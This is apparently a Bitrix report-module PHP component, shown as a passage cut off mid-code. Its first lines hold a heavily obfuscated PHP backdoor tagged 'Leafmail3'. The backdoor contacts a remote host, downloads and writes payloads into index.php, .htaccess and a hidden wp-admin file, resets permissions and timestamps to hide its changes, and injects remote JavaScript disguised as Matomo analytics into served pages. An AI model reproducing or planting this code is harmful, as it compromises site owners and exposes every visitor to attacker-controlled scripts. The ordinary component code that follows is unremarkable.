Your IP : 3.145.167.199
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
/** @global CUser $USER */
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
$requiredModules = array('report');
foreach ($requiredModules as $requiredModule)
{
if (!CModule::IncludeModule($requiredModule))
{
ShowError(GetMessage("F_NO_MODULE"));
return 0;
}
}
if (!isset($arParams['REPORT_HELPER_CLASS']) || strlen($arParams['REPORT_HELPER_CLASS']) < 1)
{
ShowError(GetMessage("REPORT_HELPER_NOT_DEFINED"));
return 0;
}
use Bitrix\Main\Entity;
// <editor-fold defaultstate="collapsed" desc="calc variations">
$calcVariations =
$arResult['calcVariations'] = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getCalcVariations'));
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="filter compare variations">
$compareVariations =
$arResult['compareVariations'] = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getCompareVariations'));
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="period types">
$periodTypes =
$arResult['periodTypes'] = array(
'month',
'month_ago',
'week',
'week_ago',
'days',
'after',
'before',
'interval',
'all'
);
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="chart types">
if ($arParams['USE_CHART'])
{
$arResult['chartTypes'] = array(
array('id' => 'line', 'name' => GetMessage('REPORT_CHART_TYPE_LINE1'), 'value_types' => array(
/*'boolean', 'date', 'datetime', */
'float', 'integer'/*, 'string', 'text', 'enum', 'file', 'disk_file', 'employee', 'crm', 'crm_status',
'iblock_element', 'iblock_section'*/
)),
array('id' => 'bar', 'name' => GetMessage('REPORT_CHART_TYPE_BAR1'), 'value_types' => array(
/*'boolean', 'date', 'datetime', */
'float', 'integer'/*, 'string', 'text', 'enum', 'file', 'disk_file', 'employee', 'crm', 'crm_status',
'iblock_element', 'iblock_section'*/
)),
array('id' => 'pie', 'name' => GetMessage('REPORT_CHART_TYPE_PIE'), 'value_types' => array(
/*'boolean', 'date', 'datetime', */
'float', 'integer'/*, 'string', 'text', 'enum', 'file', 'disk_file', 'employee', 'crm', 'crm_status',
'iblock_element', 'iblock_section'*/
))
);
}
// </editor-fold>
$fieldList = array();
try
{
$userId = $USER->GetID();
// <editor-fold defaultstate="collapsed" desc="common initiazlize">
$ownerId = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getOwnerId'));
$entityName = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getEntityName'));
$entityFields = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getColumnList'));
$arResult['ufEnumerations'] = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getUFEnumerations'));
// customize entity
$initEntity = clone Entity\Base::getInstance($entityName);
call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'setRuntimeFields'), $initEntity, '');
$chains = CReport::generateChains($entityFields, $initEntity, '');
$arResult['fieldsTree'] = CReport::generateColumnTree($chains, $initEntity, $arParams['REPORT_HELPER_CLASS']);
$fieldList = CReport::getUniqueFieldsByTree($arResult['fieldsTree']);
$bGroupingMode = false;
// custom columns types
$customColumnTypes = call_user_func(array($arParams['REPORT_HELPER_CLASS'], 'getCustomColumnTypes'));
if (!is_array($customColumnTypes))
$customColumnTypes = array();
$arResult['customColumnTypes'] = $customColumnTypes;
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="validation">
if ($arParams['ACTION'] == 'edit' || $arParams['ACTION'] == 'copy' || $arParams['ACTION'] == 'delete')
{
$result = Bitrix\Report\ReportTable::getById($arParams['REPORT_ID']);
$report = $result->fetch();
if (empty($report))
{
throw new BXUserException(sprintf(GetMessage('REPORT_NOT_FOUND'), $arParams['REPORT_ID']));
}
$rightsManager = new Bitrix\Report\RightsManager($userId);
if(!$rightsManager->canRead($report['ID']))
throw new BXUserException(GetMessage('REPORT_VIEW_PERMISSION_DENIED'));
if ($arParams['ACTION'] === 'edit')
{
if(!$rightsManager->canEdit($report['ID']) || isset($report['MARK_DEFAULT']) &&
intval($report['MARK_DEFAULT']) > 0)
throw new BXUserException(GetMessage('REPORT_DEFAULT_CAN_NOT_BE_EDITED'));
}
if($arParams['ACTION'] === 'delete' && !$rightsManager->canDelete($report['ID']))
{
throw new BXUserException(GetMessage('REPORT_DEFAULT_CAN_NOT_BE_DELETED'));
}
$arResult['report'] = $report;
}
// </editor-fold>
// <editor-fold defaultstate="collapsed" desc="sharing initiazlize">
if($arParams['ACTION'] == 'edit' || $arParams['ACTION'] == 'create' || $arParams['ACTION'] == 'copy')
{
$selected = array();
$reportId = intval($arParams['REPORT_ID']);
$entitySharing = Bitrix\Report\Sharing::getEntityOfSharing($reportId);
$entityList = array();
foreach($entitySharing as $entity)
{
list($type, $id) = Bitrix\Report\Sharing::parseEntityValue($entity['ENTITY']);
$typeData = Bitrix\Report\Sharing::getTypeData($type, $id);
$entityList[] = array(
'entityId' => $entity['ENTITY'],
'name' => $typeData['name'],
'right' => $entity['RIGHTS'],
'avatar' => $typeData['avatar'],
'type' => $type,
);
}
if($arParams['ACTION'] == 'copy')
$entityList = array();
foreach($entityList as $entity)
$selected[] = $entity['entityId'];
$destination = Bitrix\Report\Sharing::getSocNetDestination($userId, $selected);
$arResult['SHARING_DATA'] = array(
'members' => $entityList,
'maxAccess' => Bitrix\Report\RightsManager::ACCESS_READ,
'destination' => array(
'items' => array(
'users' => $destination['USERS'],
'groups' => array(),
'sonetgroups' => $destination['SONETGROUPS'],
'department' => $destination['DEPARTMENT'],
'departmentRelation' => $destination['DEPARTMENT_RELATION'],
),
'itemsLast' => array(
'users' => $destination['LAST']['USERS'],
'groups' => array(),
'sonetgroups' => $destination['LAST']['SONETGROUPS'],
'department' => $destination['LAST']['DEPARTMENT'],
),
'itemsSelected' => $destination['SELECTED']
)
);
}
// </editor-fold>
if($isPost && isset($_POST['EXPORT_REPORT']))
{
if (!check_bitrix_sessid())
{
throw new BXFormException(GetMessage('REPORT_CSRF'));
}
